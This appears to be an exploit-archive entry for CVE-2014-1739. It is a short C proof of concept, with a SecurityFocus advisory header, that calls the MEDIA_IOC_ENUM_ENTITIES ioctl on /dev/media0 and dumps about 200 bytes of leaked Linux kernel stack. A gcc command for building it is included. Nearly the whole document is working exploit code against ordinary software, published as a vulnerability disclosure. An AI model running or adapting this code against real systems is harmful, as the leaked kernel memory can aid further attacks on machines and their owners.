Linux Kernel 3.3.5 – ‘/drivers/media/media-device.c’ Local Information Disclosure
/* source: https://www.securityfocus.com/bid/68048/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks. Linux kernel 2.6.38 through 3.15-rc2 are vulnerable. */ /* * $File: media-enum-poc.c * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32. * $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014. * $URL: http://speirofr.appspot.com/files/media-enum-poc.c * $License: GPLv2. */ #include <stdio.h> #include <fcntl.h> #include <string.h> #include <stdint.h> #include <sys/ioctl.h> #include <linux/media.h> #define MEDIA_DEV "/dev/media0" int main(int argc, char *argv[]) { struct media_entity_desc u_ent = {}; char *file = MEDIA_DEV; int i, fd, ret; if (argc > 1) file = argv[1]; fd = open(file, O_RDONLY); if (fd < 0){ perror("open " MEDIA_DEV); return -1; } u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT; ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent); if (ret < 0){ perror("ioctl " MEDIA_DEV); return -1; } printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw)); for (i = 0; i < 200/sizeof(uint32_t); i++) { uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i); if (i % 4 == 0) printf("\n %08d: ", i); printf("0x%08x ", data); } printf("\n"); return ret; } /* gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */ |